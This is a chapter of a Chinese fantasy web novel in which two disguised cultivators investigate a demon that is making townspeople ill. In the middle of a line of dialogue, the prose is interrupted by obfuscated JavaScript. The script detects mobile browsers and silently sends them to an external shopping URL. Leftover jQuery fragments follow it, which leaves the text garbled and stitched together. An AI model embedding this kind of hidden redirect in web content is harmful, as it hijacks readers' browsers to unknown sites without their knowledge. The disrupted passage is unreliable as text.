谢无微和江檀没有现身,就站在远处看着烧纸的周彦云。
他小声问江檀,“那是烧给我的吗?”
江檀嗯了一声,“你不好奇他是什么人吗?”
谢无微摇头,“不好奇,我们走吧。”他伸手拽了拽江檀的衣角。
江檀转头轻声道,“记得把你那小镜子收好了,没事别拿出来。”
谢无微一愣,江檀居然知道日光镜就是那个小镜子,既然他发现了镜子,甚至还拿在手上过……为何又还回来了。
“这说明江檀比较聪明。”镜子嘟嘟囔囔地说,“他说不定知道自己拿了也没用,哪里跟那些人似的,傻不拉几,什么都不知道就找来找去。”
镜子说的有理,但谢无微还是控制不住地看向江檀的背影。
为什么有时候会觉得,你还是在意我的……
谢无微狠狠摇了摇头,真是离谱,得赶紧把脑子里进的水甩出去。
待江檀和谢无微走远之后,周彦云站起身来,转头看向铜盆中燃烧的纸钱,他眼里竟然有一些真的的动容,看着铜盆中升腾的火焰喃喃道。
谢大人啊谢大人,你死得真是太好了,你若是没死,全天下的人都知道我蒙了你的大恩,你后来又干出那些事情来,这要我如何自处?
世人常讲大恩如大仇,果真不欺我。
好在你死了,现在只要祭拜就好了,我已经为大人立了牌位,每日香火祭品不断,只不过因为大人做的事情,牌位上不好写你的名字。
他站好,整了整衣冠,朝谢无微院子的方向深深一躬。
谢大人务必一路走好,仙人赐酒,魂散天乡。
院子里的谢无微打了个喷嚏,他揉了揉鼻尖,从院子里的石桌上拿起早上吃剩下的葡萄,准备回屋继续吃。
镜子对他说,“我感觉刚才那个周彦云不像什么好人的样子。”
谢无微随口应道,“有可能。”
镜子的语气很骄傲,“对吧,首先他不聪明,不知道我不是什么人都能用的,而且他怪怪的。”
谢无微点点头,“有道理。”
进门把装葡萄的篮子放到桌上,谢无微奇怪地瞄了一眼,他怎么记得,出门前葡萄好像没有这么多……
怎么还越吃越多了呢?
是记错了吗。
院门外黑色的影子从墙头冒出来,看着石桌上的葡萄被拿走了,好像很是高兴,在墙头转了一圈,又消失不见。
谢无微正研究葡萄呢,歪头看江檀似乎在镜子前端详着什么,他狗狗祟祟走过去,想瞧瞧江檀到底在做什么。
江檀抢先一步回过头来,手里拿着画笔,面无表情地问,“怎么样?”
看来江檀也不想让其他人发现自己的身份,干脆给自己换了一张脸。
比起谢无微是完完全全大变活人,他只是稍稍改动了一下眼睛和下巴,这一变整个人的感觉就不一样了。看出来这易容用的药膏真的很珍稀了,连江大宗主都不舍得用多。
江檀原本那张脸,在谢无微最讨厌他的时候,都不得不承认是好看的。
至于现在嘛,“没有之前好看了。”谢无微小声说。
“不是问这个,现在还能认出我吗?”
谢无微眯着眼睛仔细看了看,他太熟悉江檀了,这张脸瞒不过他,仔细一瞧还是能勉强认出来,但骗个旁人还是绰绰有余的。
谢无微摇摇头。
这下两个人都凑不出来一张真脸了。
江檀把笔放下,从一旁的衣架上取下锥帽戴上,“走,出门给你寻魂魄。”
谢无微心想这锥帽好眼熟,应该是我的吧,居然这么自然就戴上了?
他忽然嘴角一翘,一个坏点子十分自然地冒出来,他转过身来,把衣柜拉开,露出里面的各色衣服,这都是谢无微精挑细选,十分中意的衣裳,当然也与江檀平时的风格大相径庭。
“衣服得换。”谢无微的表情十分诚恳,万万看不出来他心里憋着坏水。
但仔细想想,谢无微的提议也没有毛病啊,都易容了,衣服自然也得换成与之前截然不同的,才更稳妥些。
这主意坏就坏在谢无微的衣服实在是太鲜艳了,黄的绿的紫的粉的都有,挂在一起五颜六色好不热闹,都有些吵眼睛。
江檀恐怕也觉得有道理,站在衣柜前,犹豫再三,终于妥协,伸手挑了件浅蓝色的道袍出来。
在谢无微的衣柜里,这件衣服算得上十分素净了。
因为拒绝了谢无微搭配的粉色丝绦和香囊,谢无微在江檀后面撇着嘴巴,直嘀咕他没有品味。
他们两个前脚走了,后脚墙头的影子就又冒出来,这本来应该是相对比较恐怖的一幕,白日晴空之下,明明四下无人,却好端端多出来一道黑影,但偏偏影子驮着一串葡萄,这就显得纯朴善良很多。
发现院子里空无一人后,影子好像有些失落,默默爬上石桌把葡萄放下,自己转身朝他们离去的方向追去。
谢无微溜溜达达地走,顺手从路边摘点野果子往嘴里扔,反正他没丢什么魂魄,根本就找不到,就当出来郊游散心了。
按照常理,离体的魂魄要么原地徘徊,要么就四处游荡,会游荡到哪里去,就要看魂魄的个人喜好了。
于是,江檀先去了小镇上的点心铺,谢无微兴高采烈买了两斤点心,抱怀里美滋滋咔哧咔哧啃着吃。
喜好是绝对没猜错,但没发现有什么魂魄。
也许是残魂吧,没什么自己的意识,感应微弱也无法招魂,江檀这么想着,低头咬了一口谢无微强塞过来的点心。
他们二人正坐在点心铺外面的桌椅上,此时刚刚下午申时,天气正好,但比起上午,街上明显少了许多行人,冷清了不少。
点心铺的老板犹犹豫豫伸出头来,“两位客官是外地来的吧,我们这里最近不太平,您二位还是早点回去吧。”
“多谢店家提醒。”江檀放下点心,微微皱眉问道,“店家能否告知,如何不太平了?”
老板摇了摇头,又看江檀穿一身道袍,虽然衣裳颜色过于出挑了些,不似寻常道士穿的正经,但看着十分靠谱,模样也俊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844545|211716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朗漂亮,犹豫片刻还是说了,“客官有所不知,我们这里最近闹妖怪,好几家都遭殃生怪病了。”
此话一出,谢无微倒是震惊了,他在这边镇子的郊外住了这么久,从来都是风平浪静,从未听说过有什么妖物作祟。
点心铺老板招呼他们进来坐下说话,“实不相瞒,这事还得从我邻居家说起,他家两个孩子,一个七岁一个十五,都是闹腾的年纪,就大概几天前,两个孩子跑去林子里砍柴,那林子离镇子还挺远的,当天晚上孩子就没回来。”
谢无微心想,离得镇子挺远的林子……那不就是我家附近吗?当即眉头紧皱接着往下听。
“后来村子里的人就一起去找,孩子找到了看着也没受伤,本来这事就算完了,但孩子说听见有鸡在一直叫。”
“过了几天俩孩子就病倒了,然后镇上另一户人家,他倒不是听见鸡叫了,晚上说听见有鸭子叫得十分瘆人,接着他家里大人孩子都病了,浑身像是被什么东西咬了。”
老板好像越说越害怕,声音越来越小好像怕被什么东西听见一样,“所以现在镇上人到晚上都不敢出门,关门闭户。”
谢无微在桌下拽了拽江檀的衣角,他们那天在发现黑影之后,确实听见了窸窸窣窣的声音,也说不上是什么声音,像细碎的脚步声,也像人在窃窃私语。
但完全跟鸭子和鸡没有关系啊。
店老板站起身来,“我也就知道这么多了,两位客官可是道士高人,此事能否有解?”
江檀深思片刻没有说话。
店老板见状叹了口气,“也没关系,据说镇子上最近来了好多高人,好像在找什么东西,此事应该能解决。”
“请问店家,那些高人现在住在何处?”
店老板指了指街的另一边,“就在那边的客栈里。”
江檀点头道谢。
出了点心铺,两人十分默契地朝着客栈的方向走去。
谢无微打了个哈欠,对不起了我的新床,虽然你柔软又舒适,但今晚上怕是不能陪你了。
小镇上的客栈也就是个小客栈,牌匾上写着福来客栈这个随处可见的店名。
江檀推门而入,就看见客栈大堂里三三两两坐着几个人,见两人进来纷纷看了过来。
江檀径直穿过大堂,“开一间上房。”
谢无微在一边跟镜子说,“江檀还挺会过日子的嘛,确实开一间房就够了,但他也有可能是怕我跑了。”
镜子连连赞同。
客栈大堂里的人,盯着两人离开的背影窃窃私语,“这二人也像修道之人,就是看着面生,怕也是来找日光镜的。”
话音刚落,周彦云推门而入,皱着眉头道,压低声音道,“说什么呢,我今天遇见江檀了!”
那人嗤笑一声挥挥手,“骗谁呢,江檀那样的人,来这种小地方做什么?”
大堂中,桌椅装潢的影子下,有一团黑影一晃而过,一众人等浑然不觉,黑影稍微停顿了一下,便拐了个弯上了二楼,在谢无微和江檀的房间外停下,窝在阴影里一动不动。